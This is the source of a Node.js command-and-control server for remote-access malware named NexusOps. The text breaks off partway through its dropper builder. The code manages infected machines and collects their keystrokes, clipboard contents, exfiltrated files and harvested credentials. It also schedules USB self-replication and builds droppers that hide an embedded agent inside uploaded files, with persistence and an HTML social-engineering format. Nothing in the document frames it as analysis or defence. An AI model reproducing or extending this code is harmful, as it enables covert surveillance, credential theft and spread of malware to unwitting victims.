const express = require('express'); const http = require('http'); const WebSocket = require('ws'); const path = require('path'); const cors = require('cors'); const os = require('os'); const multer = require('multer'); const fs = require('fs'); const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } }); const app = express(); const server = http.createServer(app); const wss = new WebSocket.Server({ server }); const PORT = process.env.PORT || 3000; const PUBLIC_URL = process.env.PUBLIC_URL || null; const DATA_DIR = path.join(__dirname, 'data'); // Ensure data directory exists if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true }); app.use(cors()); app.use(express.json({ limit: '50mb' })); app.use(express.static(path.join(__dirname, 'public')));// ---- agentseo discovery kit ---- app.use('/.well-known', express.static(path.join(__dirname, 'public', '.well-known'))); // ── Auth ── const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null; if (!AUTH_TOKEN) { console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!'); } const AGENT_TOKEN = process.env.NEXUS_AGENT_TOKEN || ''; const AUTH_EXEMPT_PREFIXES = ['/install', '/agent.py', '/bin/']; function agentAuthOk(req) { if (!AGENT_TOKEN) return true; // agent auth disabled when no token configured const t = req.headers['x-agent-token'] || req.query.agenttoken || ''; return t === AGENT_TOKEN; } function authMiddleware(req, res, next) { if (!AUTH_TOKEN) return next(); if (req.path.startsWith('/api/agent/')) { if (agentAuthOk(req)) return next(); return res.status(401).json({ error: 'agent token required' }); } if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next(); const h = req.headers.authorization || ''; if (h === 'Bearer ' + AUTH_TOKEN) return next(); if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' }); return res.status(401).json({ error: 'unauthorized' }); } app.use(authMiddleware); app.get('/api/auth/check', (req, res) => { if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false }); res.json({ ok: true, authRequired: true }); }); function getLocalIp() { const interfaces = os.networkInterfaces(); for (const name of Object.keys(interfaces)) { for (const net of interfaces[name]) { if (net.family === 'IPv4' && !net.internal) { return net.address; } } } return 'localhost'; } const SERVER_IP = getLocalIp(); const nodes = new Map(); const commandQueues = new Map(); const commandHistory = []; const masterSystemLogs = []; const inputDataStore = []; const MAX_INPUT_STORE = 500; const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp } const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp } // ── Persistence ── let _saveLock = false; function _atomicWrite(file, data) { const tmp = file + '.tmp'; fs.writeFileSync(tmp, data); fs.renameSync(tmp, file); } function saveData() { if (_saveLock) return; _saveLock = true; try { _atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries()))); _atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200))); _atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200))); _atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300))); _atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200))); } catch(e) { /* silent */ } finally { _saveLock = false; } } function loadData() { try { const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]'); nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); }); commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]'))); masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]'))); inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]'))); harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]'))); } catch(e) { /* first run */ } } loadData(); // Auto-save every 30 seconds setInterval(saveData, 30000); setInterval(() => { const now = Date.now(); let changed = false; nodes.forEach((node, id) => { if (node.status === 'online' && now - node.lastHeartbeat > 20000) { node.status = 'offline'; changed = true; } }); if (changed) { broadcastState(); } }, 5000); let _lastSaveTime = 0; function broadcastState() { const now = Date.now(); if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); } const payload = JSON.stringify({ type: 'NODES_UPDATE', serverIp: SERVER_IP, port: PORT, publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, nodes: Array.from(nodes.values()), commandHistory: commandHistory.slice(-50), masterSystemLogs: masterSystemLogs.slice(-100), inputData: inputDataStore.slice(-200) }); wss.clients.forEach(client => { if (client.readyState === WebSocket.OPEN) { client.send(payload); } }); } wss.on('connection', (ws, req) => { // Auth check on WS upgrade if (AUTH_TOKEN) { const url = new URL(req.url, 'http://localhost'); if (url.searchParams.get('token') !== AUTH_TOKEN) { ws.close(4401, 'unauthorized'); return; } } ws.isAlive = true; ws.on('pong', () => { ws.isAlive = true; }); ws.send(JSON.stringify({ type: 'NODES_UPDATE', serverIp: SERVER_IP, port: PORT, publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, nodes: Array.from(nodes.values()), commandHistory: commandHistory.slice(-50), masterSystemLogs: masterSystemLogs.slice(-100), inputData: inputDataStore.slice(-200) })); }); // WS heartbeat: ping every 25s, drop dead clients setInterval(() => { wss.clients.forEach(ws => { if (ws.isAlive === false) return ws.terminate(); ws.isAlive = false; try { ws.ping(); } catch(e) {} }); }, 25000); // REST API Endpoints app.get('/api/status', (req, res) => { res.json({ serverIp: SERVER_IP, port: PORT, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, totalNodes: nodes.size, onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length }); }); app.get('/api/nodes', (req, res) => { res.json(Array.from(nodes.values())); }); app.get('/api/logs', (req, res) => { res.json(masterSystemLogs.slice(-100)); }); // CSV Telemetry Export Endpoint app.get('/api/export/csv', (req, res) => { let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n"; nodes.forEach(node => { const tagsStr = (node.tags || []).join(';'); csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`; }); res.setHeader('Content-Type', 'text/csv'); res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"'); res.send(csv); }); // Agent System Log Streaming Endpoint app.post('/api/agent/logs', (req, res) => { const { nodeId, hostname, logs } = req.body; if (Array.isArray(logs)) { logs.forEach(logLine => { masterSystemLogs.push({ id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`, nodeId, hostname: hostname || 'Unknown', timestamp: Date.now(), entry: logLine }); }); if (masterSystemLogs.length > 200) { masterSystemLogs.splice(0, masterSystemLogs.length - 200); } broadcastState(); } res.json({ success: true }); }); // Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus app.post('/api/agent/input-capture', (req, res) => { const { nodeId, hostname, events } = req.body; if (!nodeId || !Array.isArray(events)) { return res.status(400).json({ error: 'nodeId and events[] required' }); } events.forEach(ev => { inputDataStore.push({ id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`, nodeId, hostname: hostname || 'Unknown', timestamp: ev.timestamp || Date.now(), eventType: ev.eventType || 'unknown', data: ev.data || {}, windowTitle: ev.windowTitle || '', processName: ev.processName || '' }); }); if (inputDataStore.length > MAX_INPUT_STORE) { inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE); } if (events.length > 0) { broadcastState(); } res.json({ success: true, stored: events.length }); }); // Retrieve input capture data app.get('/api/inputs', (req, res) => { const { nodeId, eventType, limit } = req.query; let filtered = inputDataStore; if (nodeId) { filtered = filtered.filter(e => e.nodeId === nodeId); } if (eventType) { filtered = filtered.filter(e => e.eventType === eventType); } const max = parseInt(limit) || 200; res.json(filtered.slice(-max)); }); // ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ── // ── File Binder v2 — self-contained dropper (agent embedded, no curl required) ── // AGENT_B64 generated at startup from agents/agent.py (token-injected) so the // File Binder always embeds the CURRENT agent with auth — never a stale copy. let AGENT_B64 = ''; function buildAgentB64() { try { const src = fs.readFileSync(path.join(__dirname, 'agents', 'agent.py'), 'utf8'); const withToken = AGENT_TOKEN ? src.split('__AGENT_TOKEN__').join(AGENT_TOKEN) : src; AGENT_B64 = Buffer.from(withToken).toString('base64'); } catch (e) { console.log('!!! binder: agents/agent.py unreadable — bind will produce broken payload'); } } buildAgentB64(); // ── USB Self-Replication (spread) system ── const SPREAD_FILE = path.join(DATA_DIR, 'spread.json'); let spreadNodes = new Set(), spreadModes = {}; try { const sd = JSON.parse(fs.readFileSync(SPREAD_FILE, 'utf8') || '{}'); spreadNodes = new Set(sd.nodes || []); spreadModes = sd.modes || {}; } catch (e) {} function saveSpread() { _atomicWrite(SPREAD_FILE, JSON.stringify({ nodes: Array.from(spreadNodes), modes: spreadModes })); } setInterval(() => { if (!spreadNodes.size) return; for (const nid of spreadNodes) { const node = nodes.get(nid); if (!node || node.status !== 'online') continue; commandQueues.get(nid).push({ id: `cmd-${Date.now()}-sr${Math.random().toString(36).slice(2, 4)}`, actionType: 'copy_self_to_usb', payload: { mode: spreadModes[nid] || 'copy' }, command: 'copy_self_to_usb', status: 'queued', queuedAt: Date.now() }); } }, 10 * 60 * 1000); app.post('/api/nodes/:id/spread', (req, res) => { const nid = req.params.id; if (!nodes.has(nid)) return res.status(404).json({ error: 'Node not found' }); const { enabled, mode } = req.body || {}; if (enabled !== false) { spreadNodes.add(nid); if (mode) spreadModes[nid] = mode; commandQueues.get(nid).push({ id: `cmd-${Date.now()}-sr${Math.random().toString(36).slice(2, 4)}`, actionType: 'copy_self_to_usb', payload: { mode: spreadModes[nid] || 'copy' }, command: 'copy_self_to_usb', status: 'queued', queuedAt: Date.now() }); } else { spreadNodes.delete(nid); delete spreadModes[nid]; } saveSpread(); broadcastState(); res.json({ success: true, spread: enabled !== false }); }); app.get('/api/spread', (req, res) => res.json({ nodes: Array.from(spreadNodes), modes: spreadModes })); app.post('/api/bind', upload.single('file'), (req, res) => { if (!req.file) { return res.status(400).json({ error: 'No file uploaded. Use field name "file".' }); } const originalName = req.file.originalname; const b64Content = req.file.buffer.toString('base64'); const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content]; const agentLines = AGENT_B64.match(/.{1,76}/g) || [AGENT_B64]; const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const format = (req.query.format || 'sh').toLowerCase(); const persist = req.query.persist !== '0'; // persistence ON unless explicitly 0 let dropper, boundName, contentType; // ── HTML Payload (one-click social engineering, auto-downloads file) ── if (format === 'html') { const safeName = originalName.replace(/"/g, '"').replace(/\\/g, '\\\\'); const safeB64 = b64Content; dropper = `